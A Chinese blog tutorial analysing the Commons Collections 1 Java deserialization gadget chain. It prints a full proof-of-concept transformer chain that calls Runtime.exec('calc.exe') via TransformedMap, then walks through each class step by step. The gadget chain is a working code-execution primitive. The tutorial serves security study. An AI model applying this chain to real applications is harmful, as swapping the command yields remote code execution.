Java安全之Commons Collections1分析(一)

Java安全之CommonsCollections1分析(一)0x00前言在CC链中,其实具体执行过程还是比较复杂的。建议调试前先将一些前置知识的基础给看一遍。Java安全之Commons

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

Java安全之Commons Collections1分析(一)

0x00 前言

在CC链中,其实具体执行过程还是比较复杂的。建议调试前先将一些前置知识的基础给看一遍。

Java安全之Commons Collections1分析前置知识

0x01 CC链分析

这是一段poc代码,执行完成后会弹出一个计算器。

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class test {

    public static void main(String[] args) throws Exception {
        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };

        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建Map并绑定transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        //给予map数据转化链
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        //触发漏洞
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        //outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
        onlyElement.setValue("foobar");
    }
}

下面每一段一段代码的来进行分析。

Java安全之Commons Collections1分析(一)

首先Transformer是一个接口,ConstantTransformer和InvokerTransformer都是Transformer接口的实现类。那么在这里抛出一个问题,Transformer明明是接口为什么可以new呢?这也是我一开始看到这段代码的时候的一个问题。

Transformer[] transformers = new Transformer[]

其实这里并不是new了一个接口,而是new了一个 Transformer类型的数组,里面存储的是 Transformer的实现类对象。

先来分析一下ConstantTransformer

Java安全之Commons Collections1分析(一)

这里是使用了构造方法传入参数,并且传入的参数为Runtime,而在调用到transform时,会进行返回我们传入的参数。后面会讲具体怎么去调用的这个方法。

InvokerTransformer分析

打一个debug跟踪到InvokerTransformer类里面

Java安全之Commons Collections1分析(一)

这里的传入了三个参数,第一个是方法名,第二个是参数类型,第三个是参数的值。

为了清晰,下面列一下,每个InvokerTransformer的参数值。

getMethod,null,getRuntime
invoke,null,null
exec,null,calc.exe

这里也有个transform方法,也是比较重要的一个点,但是在这里先不分析该方法,这个放在后面去做分析。

Java安全之Commons Collections1分析(一)

ChainedTransformer分析

来看下一段代码

Transformer transformerChain = new ChainedTransformer(transformers);

将transformers数组传入ChainedTransformer构造方法里面。

Java安全之Commons Collections1分析(一)

该构造方法对进行赋值到本类的成员变量里面,后面如果调用了transform方法,就会遍历transformers数组进行逐个去调用他的transform。那么分析到这一步我们需要做的是ChainedTransformer的transform什么时候会被调用。

官方说明:

将指定的转换器连接在一起的转化器实现。
    输入的对象将被传递到第一个转化器,转换结果将会输入到第二个转化器,并以此类推

也就是说该方法会将第一次的执行结果传递到第二次执行的参数里面去。

Java安全之Commons Collections1分析(一)

这里可以看到传入的Runtime,那么为什么传入的是Runtime呢?再回去看看ConstantTransformer这个类就可以知道,调用transform方法的话就会进行返回this.iConstant。而在定义数组的时候,我们就使用了ConstantTransformer的构造方法来进行赋值。

 new ConstantTransformer(Runtime.class)

所以这里传入的是Runtime的类。

在第一次执行的时候,已经将Runtime传入到了参数里面

Java安全之Commons Collections1分析(一)

Java安全之Commons Collections1分析(一)

这里的transform方法使用了反射。

 Class cls = input.getClass();
                Method method = cls.getMethod(getMethod,null);
                return method.invoke(input, getRuntime);

反射调用并且返回getRuntime对象。

Java安全之Commons Collections1分析(一)

第二次传入的是Runtime.getRuntime

Java安全之Commons Collections1分析(一)

Java安全之Commons Collections1分析(一)

Class cls = input.getClass();
Method method = cls.getMethod(invoke, null);
return method.invoke(input,null);

第二次返回的是Runtime的实例化对象。

第三次又将实例化对象传入方法参数里面,

Java安全之Commons Collections1分析(一)

 Class cls = input.getClass();
Method method = cls.getMethod("exec", null);
return method.invoke(input, "calc.exe");

Java安全之Commons Collections1分析(一)

这样一个命令就执行完成了,那么ChainedTransformer的作用就是将Transformer数组给拼接起来。

通过ConstantTransformer得到Runtime.class,然后再InvokerTransformer反射得到getRuntime方法,然后通过反射执行invoke才能去调用getRuntime方法,这样得到一个Runtime对象,然后再去调用Runtime对象的exec方法去达到命令执行。

那么又会回到刚刚的问题,ChainedTransformer是怎么被调用的呢?

TransformedMap分析

Java安全之Commons Collections1分析(一)

先来查看他的构造方法

Java安全之Commons Collections1分析(一)

构造方法把传入的map和Transformer进行赋值。

在TransformedMap的transformValue方法中看到调用了this.valueTransformer的transform。而在下面一段代码就已经对他进行了赋值

Java安全之Commons Collections1分析(一)

Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

TransformedMap类并不能直接new出来,需要使用decorat提供一个实例化对象。

在这里我们就已经知道了transformValue可以去调用transform方法,那么再来看看transformValue会在哪里被调用。

Java安全之Commons Collections1分析(一)

在put方法就会调用transformValue,从而导致transformValue调用transform方法去执行命令。

   public static void main(String[] args) throws Exception {
        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };

       
        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建Map并绑定transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("1","1");

Java安全之Commons Collections1分析(一)

0x02 结尾

在这里我们是使用了代码直接的让他去弹出一个计算器,但是在实际运用中,需要将该代码转换为序列化流。在实际运用中需要我们需要找到⼀个类,它在反序列化的readObject读取我们序列化的流文件。在分析该链的时候也比较乱,下篇文章重新来完整的调试一下。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/119910.html原文链接:https://javaforall.net

赞 (0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • Linux下安装RabbitMQ

    Linux下安装RabbitMQ一、RabbitMQ介绍RabbitMQ是一个开源的AMQP实现,服务器端用Erlang语言编写,支持多种客户端,如:Python、Ruby、.NET、Java、JMS、C、PHP、ActionScript、XMPP、STOMP等,支持AJAX。用于在分布式系统中存储转发消息,在易用性、扩展性、高可用性等方面表现不俗。AMQP,即AdvancedMessageQ…

    2022年10月22日
  • linux 命令行 查找文件_grep命令查找文件

    linux 命令行 查找文件_grep命令查找文件一grep:查看文件内容,在文件中查询一个关键字,即搜索字符串的命令(在指定的文件中搜索符合条件的字符串)grep是包含匹配,不是完全的精确匹配,特别适合查找内容语法:grep[-option]需要搜索的关键字文件名参数:-n—-连行号一起显示-c—-统计有几行-i—-忽略大小写(一般用的少)-v—-排除指定的字符串(了解),取反,查找出来的内容是搜索条件以外的所有的内容例如:[root@localhostTEST~]#grep-n

    2022年8月24日
  • Linux之telnet命令[通俗易懂]

    Linux之telnet命令[通俗易懂]telnet命令通常用来远程登录,默认端口是23。telnet程序是基于TELNET协议的远程登录客户端程序。Telnet协议是TCP/IP协议族中的一员,是Internet远程登陆服务的标准协议和主

    2022年7月3日
  • 软件测试的基本理论知识_学软件测试需要什么基础

    软件测试的基本理论知识_学软件测试需要什么基础01软件研发流程1.软件产品软件产品是指向用户提供的计算机软件、信息系统或设备中嵌入的软件或在提供计算机信息系统集成、应用服务等技术服务时提供的计算机软件。2.软件工程软件工程,英文名SoftwareEngineering,是一门研究用工程化方法构建和维护有效的、实用的和高质量的软件的学科。“软件工程是开发、运行、维护和修复软件的系统方法。”这个定义相当概括,它主要强调软件工程是系统方法而不是某种…

    2022年10月22日
  • 创建Windows Mobile上兼容性好的UI 程序[通俗易懂]

    创建Windows Mobile上兼容性好的UI 程序

    2022年3月11日
  • 树莓派4B如何使用串口与外部进行通信

    树莓派4B如何使用串口与外部进行通信外设IO口定义说明从树莓派的相关资料我们可以看到,树莓派有两个串口可以使用,一个是硬件串口(/dev/ttyAMA0),另一个是mini串口(/dev/ttyS0)。硬件串口有单独的波特率时钟源,性能好,稳定性强;mini串口功能简单,稳定性较差,波特率由CPU内核时钟提供,受内核时钟影响。树莓派(3/4代)板载蓝牙模块,默认的硬件串口是分配给蓝牙模块使用的,而性能较差的mini串口是分配给G…

    2022年6月6日

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号